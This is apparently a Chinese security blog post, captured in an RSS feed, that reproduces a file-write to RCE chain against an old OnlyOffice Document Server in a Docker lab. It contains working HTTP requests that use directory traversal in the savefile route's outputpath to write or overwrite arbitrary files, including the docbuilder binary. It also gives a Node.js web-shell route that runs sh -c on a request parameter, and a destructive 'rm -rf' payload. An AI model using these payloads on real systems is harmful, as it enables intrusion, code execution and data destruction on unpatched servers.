<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=21d31ade&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjJS641KCp52DbvTZFtHibMQxBl1ahCia6FCzoq6fyBvSia8eWibgPYt3Wnw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=24465a54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOj8Bx7whCsyuIt6YeFfqhoPNpHicic2mjDCLPerbibBV5KFzRHsazZzFLhQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3265ca62&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjoXxhzMUbgVT1TW5ZsIRY7ocT6dibRZwdMuEghyKRqpJKHv0ia8o89DAA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8381ec89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjic3qoAnxdKKPbicDiaSFBUYiatSAFvbeZBjvedZ812EVgic9j6hRSUjfolA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c75e6b25&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjQyibCDJxjOuRDj3csImNn9YeEruF2Yr37K40VEvFibnDZiakVnawZH8Sg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=47cf6d95&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2RIVURdIHcEKD7HrsYy4IOjNFzq8UHnF0VtcvoPzkOzQFOJ6juHpp7ibroicXib8ysN4JdPhZib2lLrxQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=1748939e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TWMILphUsaAB4KcROs0hC59wFBED1jMJ6vH8STSmfDrByXDQwdvdBAOK9gWQC8f6UR9RjrNZ2Mjw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247483792">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a6a0dd16&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MDM3NjcxMg%3D%3D%26mid%3D2247483792%26idx%3D1%26sn%3D7d44b626a088271b747180bff97ffd7c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 11 Jun 2025 09:56:00 +0800</pubDate>
    </item>
    <item>
      <title>OnlyOffice低版本漏洞复现与分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0MDM3NjcxMg==&amp;mid=2247483740&amp;idx=1&amp;sn=56f93770972dc6fcce3147d0bd3d62d2</link>
      <description>前言：OnlyOffice 远程RCE&amp;命令执行</description>
      <content:encoded><![CDATA[<p>
原创 <span>Axx07F</span> <span>2024-01-09 01:23</span> <span style="display: inline-block;">山东</span>
</p>

<p>前言：OnlyOffice 远程RCE&命令执行</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d4067942&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxHiacSejDAySpzF6rd7SXnygiaXiaknCvY2UE6mqsI7eJDgPI6fbmLVpoQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>前言：OnlyOffice 是一款办公套件软件，提供了文档编辑、电子表格、演示文稿等功能，类似于 Microsoft Office。它支持多人协作编辑，可以在云端或者私有服务器上部署，适合个人用户、团队和企业进行办公任务。只要有合适的许可证，用户可以在不同的平台上访问 OnlyOffice，包括桌面端、Web 界面和移动设备。</p><p>OnlyOffice 最初由 Ascensio System SIA 开发，它提供了广泛的功能，可以满足各种办公需求。在云端部署方面，OnlyOffice 还可以与其他协作工具和平台集成，以实现更全面的工作流程。</p><h2><span style="font-size: 24px;">0x01：OnlyOffice5.4.2.46低版本搭建</span></h2><p>这里是基于docke去搭建的：</p><pre><code>1. 拉取5.4.2.46版本onlyoffice/documentserver镜像<br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">docker</span> pull onlyoffice/documentserver:<span class="code-snippet__number">5.4.2.46</span></span></code></pre></section><pre><code>2.创建容器<br/></code></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">docker</span> run -i -t -d -p <span class="code-snippet__number">9000</span>:<span class="code-snippet__number">80</span> --name chineseonlyoffice_documentserver --privileged=<span class="code-snippet__literal">true</span> onlyoffice/documentserver:<span class="code-snippet__number">5.4.2.46</span> /usr/sbin/init</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><pre></pre><p>因为我这里是基于docker_gui的(方便更好的去更改文件或者读取代码)：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000083" data-ratio="0.5666666666666667" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b6ad423e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cx2oQQbMDs9MBNF8PGL5ibUTpJkZUc8qoEsFnRQXvkICSM0riaTlQNteyw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><img class="rich_pages wxw-img" data-imgfileid="100000084" data-ratio="0.5666666666666667" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=293f1e68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxNz5738hMX7NULTK56aZDhezicNCabHnvNl1LajdRKWI8H8UpSVOxltA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>项目搭建成功：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000085" data-ratio="0.6768518518518518" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=cedb0e9d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxVWUSZG3dZdjpB4DIeqPkqeBy3IDAibpDtsdbr18G0w2SJiaBNPZeB9Vw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong>ps</strong>:搭建过程中名称可能会出现问题，因为docker镜像名称不允许使用/，我们可以使用_去代替。</p><h2><span style="font-size: 24px;">0x02:漏洞分析&amp;复现：</span></h2><p>一般程序员没有刻意设置的话，我们直接访问<a href="http://localhost:9000/index.html就可以看到版本号：" target="_blank">http://localhost:9000/index.html就可以看到版本号：</a></p><p><img class="rich_pages wxw-img" data-imgfileid="100000086" data-ratio="0.6166666666666667" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=b7657507&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cxln3XJBSHUT1N6rD0icbOnpFiacj6ne7wYDslqZJWSYVZuc8kDJysg5Nw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>这里我们先使用前辈使用的exp进行利用：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer">https:<span class="code-snippet__comment">//github.com/moehw/poc_exploits</span></span></code></pre></section><p>要利用该漏洞，攻击者必须使用特制的请求来 服务器，它将用受控数据覆盖任意文件。如果其中之一 服务的可执行文件被这次攻击覆盖，那么有 以下效果：- 攻击者对服务器的下一个请求会导致执行来自服务器的新文件 上一步，这将导致远程代码执行 - 缺少正确的可执行服务文件会导致拒绝服务</p><p>由于将文件保存到，“uploadImageFile”函数中发生文件覆盖 “strPath”变量中指定的路径，它是以下值的串联 其他几个字符串，其中最后一个（“formatStr”）由攻击者控制 当满足某些条件时：- “isValidJwt”为真 - “docId”和“加密”出现在 JWT 令牌中 - 请求正文中有一个缓冲区，文件将被覆盖到该缓冲区 - 缓冲区必须以文本“ENCRYPTED;”开头，然后是带有相对路径的字符串 服务器媒体目录（“/var/lib/onlyoffice/documentserver/App_Data/cache/files/ &lt;docId&gt;/media/&lt;random_hash&gt;&lt;control_filename&gt;”默认情况下）覆盖文件 进而 ”;”。</p><p>使用该POC验证我们的目标时，文件上传都无法成功。分析发现CVE-2021-3199 是利用的uploadImageFile方法，存在一定的限制。</p><p><img class="rich_pages wxw-img" data-imgfileid="100000080" data-ratio="0.5824074074074074" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9abf3087&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxiaZnRGdLFQnV92IKlzX3zghw8y8EJTWgT4BOO6HA9ambqGncj3T034w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>uploadImageFile方法中，formatStr变量来自于根据文件内容进行识别。如果encrypted为true，那么就会从post body中解析出formatStr，从而实现控制文件名。</p><p><img class="rich_pages wxw-img" data-imgfileid="100000059" data-ratio="0.5009259259259259" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=029a6bdb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxCOHm7yiaFgVKnNASX9CBoqXDibXkdYcwr9emC5Cf5osMQMXS9JIJ6W9g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>而encrypted需要配置了cfgTokenEnableBrowser，&#34;Directory traversal with Remote Code Execution when JWT is used in Document Server before 5.6.3&#34;，需要配置了JWT时才能利用，Docker环境默认未启用，目标也未启用。</p><p>所以我们需要从代码层面来进行漏洞利用以及构建payload，漏洞分析我们需要把代码弄出来，这里我们直接从dokcer里复制出来：</p><pre><code>1、从主机往容器中拷贝<br/>eg：将主机/www/runoob目录拷贝到容器96f7f14e99ab的/www目录下。<br/>docker cp /www/runoob 96f7f14e99ab:/www/<br/>2、将容器中文件拷往主机<br/>eg：将容器96f7f14e99ab的/www目录拷贝到主机的/tmp目录中。<br/>docker cp  96f7f14e99ab:/www /tmp/<br/>eg:将主机/www/runoob目录拷贝到容器96f7f14e99ab中，目录重命名为www。<br/>docker cp /www/runoob 96f7f14e99ab:/www<br/></code></pre><p>等依赖加载完毕，我们就可以看到相关代码：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000069" data-ratio="0.7101851851851851" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=91c1e9c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxArljtT7mnUAfaokO9EYL5icRx2EEPKCdduARW6qEapdxSM1qNbHTsNg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>这里我们可以看到通过访问代码相关暴露的接口来访问相关的API</p><p><img class="rich_pages wxw-img" data-imgfileid="100000060" data-ratio="0.7564814814814815" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=daf3815f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cxuiazl3uIaUT8Mrh6clkaW6aDrwvfh20RNqj3jztRnrdBwjPEbjFdSibg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>DocService/sources/server.js 存在一个savefile路由，看到这名字就能猜到是文件上传相关的路由：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000081" data-ratio="0.6083333333333333" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=12ba7f22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxnzhEYKje7MVgJYnUGqcuL1hVuNeGQ51Dicz0wQNYYB8aEx7Cicztal4w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>mac按command，win按ctrl我们点击黄色的savefile定位到代码逻辑里：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000082" data-ratio="0.55" style="display: inline;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e7810858&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxcxZtMBnhOeSkCibEoHUG5qJicBBpIUNhL43kR8fMn7ksauhDBt70NZXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>首先对cmd参数进行了一次JSON解析，由于默认未开启cfgTokenEnableBrowser，所以可以直接跳过中间一部分。</p><p>最后调用了storage.putObject方法写文件，</p><p>文件地址<code>cmd.getSaveKey() + &#39;/&#39; + cmd.getOutputPath()</code></p><p>文件内容来源于req.body ， 也就是POST body。</p><p>cmd变量来自于对cmd参数值的JSON解析，在yield* addRandomKeyTaskCmd(cmd)方法中，</p><p><img class="rich_pages wxw-img" data-imgfileid="100000064" data-ratio="0.44074074074074077" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5abb99a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxtKyPiaVUWSNPloIJxsOuzh36O1q10hpQt6sRoKHIibcM8icHhB9VZWmgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>调用了savekey setter，随机生成taskkey再重新设置savekey属性值，导致不再可控。虽然savekey无法控制，但是outputpath没有被重新设置，还是来源于参数值，所以这里通过outputpath可以实现目录穿越到任意地址写文件。</p><p>让我们使用bp抓包去测试：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000063" data-ratio="0.2833333333333333" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f477564d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cxdz6WrUVEMnOdk248rtBWBq8fKHA2dOvoFIhQNlzeZ4EfxgibXEdW7Lg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>poc:</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/savefile/1?cmd={&#34;id&#34;:1,&#34;outputpath&#34;:&#34;../../../../../../../../tmp/111.txt&#34;}</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 10.37.129.2:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 4</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><pre><code>成功写入，并且是<strong style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">覆盖</strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;">形式的写入：</span><br/></code></pre><p><img class="rich_pages wxw-img" data-imgfileid="100000052" data-ratio="0.2222222222222222" data-w="1008" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=dbc6751e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxzpnUc4ZEFV0f2Le77noiaL1UicFUIAjGZGjFzXx3JTDyk0xAIVzqSALQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><strong><em>Tips:</em></strong> 这里我自己遇到两个坑点：</p><p>1）bp抓包的时候抓不到本地的包，那我们可以更改浏览器的插件取消这些不代理的列表，当然也可以查案自己的电脑网卡，来通过非localhost和非127.0.0.1去抓取。</p><p><img class="rich_pages wxw-img" data-imgfileid="100000065" data-ratio="0.3435185185185185" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=5fd984c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxMoY05TejiaCjXKfh5RMTicG4em5vRNytSb7WMVWgU6f0qzHk2Fu2sCZQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>2）在构造poc的时候，因为查看大佬的文章导致自己直接断行，poc发送不出去，这里要注意，一般我们格式正确的话，bp是会有着重颜色的辅助的：</p><p><img class="rich_pages wxw-img" data-imgfileid="100000062" data-ratio="0.7333333333333333" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=2f25b25e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cxx1VrmtXqKNicwR87COdmCb8mNTx7s0OtnS5NYIGWglHq2ylYFOQwI7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><img class="rich_pages wxw-img" data-imgfileid="100000070" data-ratio="0.337037037037037" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=52096430&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxFDlHu4JJfMj4iaB64a9UqTficL9NJfDpJJUdRUmvjOqLKlib65vmZNgXw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>通过进入docker查看发现是一个ds的用户启动的onlyoffice，跑express的用户为ds, web下的文件所属用户也都为ds，那么可以通过覆盖web的一些文件实现RCE。</p><p>首先会想到覆盖js文件，新增路由实现RCE，但是比较麻烦的是<strong>node需要重启才会加载上新增的路由，而我们暂时无法做到让目标重启</strong>。</p><p>既然不能重启，那么很容易就能想到通过覆盖模板文件再通过SSTI RCE，覆盖模板文件后不需要重启服务即可利用，不过最后发现onlyoffice根本就没用到模板。</p><p>至此，只能找OnlyOffice中是否存在命令执行调用elf的路由，通过任意文件写覆盖elf来实现命令执行。</p><p><img class="rich_pages wxw-img" data-imgfileid="100000071" data-ratio="0.18611111111111112" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=42d1336c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cx0WkYYBDNoQ5SxntVKGtq8PiafcuC28AGBHoefRWhOiaNWHtn0H8NpGgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>存在一个docbuilder路由，看名字应该是用来生成文档的，该路由方法的实现代码大概如下:</p><p><img class="rich_pages wxw-img" data-imgfileid="100000073" data-ratio="0.7074074074074074" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cff7f47a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3Cx2b345HE7TickuDyY604ianWWqtUVAiaYNWZiamgqqjjb7jSGaCd149NABg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><img class="rich_pages wxw-img" data-imgfileid="100000074" data-ratio="0.5851851851851851" data-w="1080" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=c7246dc1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2TPdhjxicIQmS95a7DAQC3CxxicORzjn71BovvkneFDvsj5WYNia3mzibibcmzoFCw1bz5sdLwRJwLzyJA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p>简单点说就是在ExecuteTask方法中，会通过spawnAsync命令执行方法调用 /var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder ELF来生成文档，docbuilder文件所属用户也是ds，那么可以通过之前的文件写漏洞覆盖掉docbuilder ELF，再通过docbuilder路由触发我们上传的ELF。</p><p>我们先把docbuilder文件备份一下，养成良好习惯：</p><pre><code>docker cp  96f7f14e99ab:/www /tmp/<br/></code></pre><p>然后我们理一下思路：我们需要：</p><p>1&gt;新增一个路由</p><p>2&gt;重启服务（通过supervisorctl来实现）,web通过访问docbuilder接口实现</p><p>3&gt;通过访问路由来进行命令回显示</p><p><strong>Supervisor 进程管理工具：</strong> Supervisor 是一个用于管理和监控进程的工具，特别适用于在 Unix-like 操作系统中管理长时间运行的后台进程。它允许用户启动、停止、重启以及监视进程的状态。</p><p>&#34;supervisorctl&#34; 是 Supervisor 进程管理工具的命令行界面，用于与 Supervisor 守护进程进行交互，以管理和监控运行在系统中的各种进程。Supervisor 是一个在 Unix-like 操作系统中常用的工具，它可以帮助你管理和监控后台运行的进程，确保它们持续稳定地运行。</p><p>通过 &#34;supervisorctl&#34; 命令，你可以执行以下操作：</p><ol class="list-paddingleft-1"><li><p><strong>启动进程：</strong> 使用 <code>start</code> 命令可以启动一个由 Supervisor 管理的进程。</p></li><li><p><strong>停止进程：</strong> 使用 <code>stop</code> 命令可以停止一个正在运行的进程。</p></li><li><p><strong>重启进程：</strong> 使用 <code>restart</code> 命令可以重新启动一个进程，即先停止再启动。</p></li><li><p><strong>重新加载配置：</strong> 使用 <code>reread</code> 命令可以重新加载 Supervisor 的配置文件，以便应用最新的更改。</p></li><li><p><strong>重新启动配置：</strong> 使用 <code>update</code> 命令可以重新启动 Supervisor 以应用配置文件的更改。</p></li><li><p><strong>查看进程状态：</strong> 使用 <code>status</code> 命令可以查看所有被 Supervisor 管理的进程的状态，包括运行状态和进程 ID 等信息。</p></li><li><p><strong>查看日志：</strong> 使用 <code>tail</code> 命令可以查看进程的日志输出。</p></li><li><p><strong>进入进程控制台：</strong> 使用 <code>fg</code> 命令可以进入某个进程的控制台界面，从而可以与进程进行交互。</p></li></ol><p>包括这里在docker里也是用supervisor进行管理的服务</p><p>接下来我们进行实际的操作：</p><p>首先我们需要写一个可以支持命令回显的路由：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">app.all(<span class="code-snippet__string">&#39;/runExec.json&#39;</span>, <span class="code-snippet__function">(<span class="code-snippet__params">req, res</span>) =&gt;</span> {</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">const</span> spawn = <span class="code-snippet__built_in">require</span>(<span class="code-snippet__string">&#39;child_process&#39;</span>).spawn;</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">var</span> username = req.query.username ? req.query.username: req.header(<span class="code-snippet__string">&#34;username&#34;</span>);</span></code><code><span class="code-snippet_outer">   <span class="code-snippet__keyword">if</span>(!username){</span></code><code><span class="code-snippet_outer">    res.send(<span class="code-snippet__string">&#34;empty para!&#34;</span>);</span></code><code><span class="code-snippet_outer">   }<span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">const</span> cmd = spawn(<span class="code-snippet__string">&#39;sh&#39;</span>, [<span class="code-snippet__string">&#39;-c&#39;</span>, username]);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">var</span> result = <span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">    cmd.stdout.on(<span class="code-snippet__string">&#39;data&#39;</span>, <span class="code-snippet__function">(<span class="code-snippet__params">data</span>) =&gt;</span> {</span></code><code><span class="code-snippet_outer">     result += data;</span></code><code><span class="code-snippet_outer">    });</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    cmd.on(<span class="code-snippet__string">&#39;close&#39;</span>, <span class="code-snippet__function">(<span class="code-snippet__params">code</span>) =&gt;</span> {</span></code><code><span class="code-snippet_outer">     res.send(result);</span></code><code><span class="code-snippet_outer">     <span class="code-snippet__keyword">return</span> res.end();</span></code><code><span class="code-snippet_outer">    })</span></code><code><span class="code-snippet_outer">   }</span></code><code><span class="code-snippet_outer">  });</span></code></pre></section><pre><code><br/></code></pre><p>首先我们需要先把server.js下载下来，可以通过docker cp命令把代码弄下来，实战情况下我们可以寻找特定版本的代码来进行审计添加，因为savefile目前只可以达到写文件功能：</p><p>因为我自己测试无法覆盖，所以我们需要先删除这个server.js（记得备份一下）</p><p>第一个包(删文件)：</p><pre></pre><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/savefile/1?cmd={&#34;id&#34;:1,&#34;outputpath&#34;:&#34;../../../../../../../../var/www/onlyoffice/documentserver/server/FileConverter/bin/docbuilder&#34;}</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: 10.37.129.2:9000</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Cache-Control</span>: max-age=0</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Upgrade-Insecure-Requests</span>: 1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Encoding</span>: gzip, deflate</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Accept-Language</span>: zh-CN,zh;q=0.9</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Connection</span>: close</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: application/x-www-form-urlencoded</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 3</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">rm -rf /<span class="code-snippet__keyword">var</span>/www/onlyoffice/documentserver/server/DocService/sources/server.js</span></code><code><span class="code-snippet_outer"><br/></span></code></pre></section><p>执行下路由；</p><p><img class="rich_pages wxw-img" data-imgfileid="100000072" data-ratio="0.7583333333333333" data-w="1080" data-type="png" 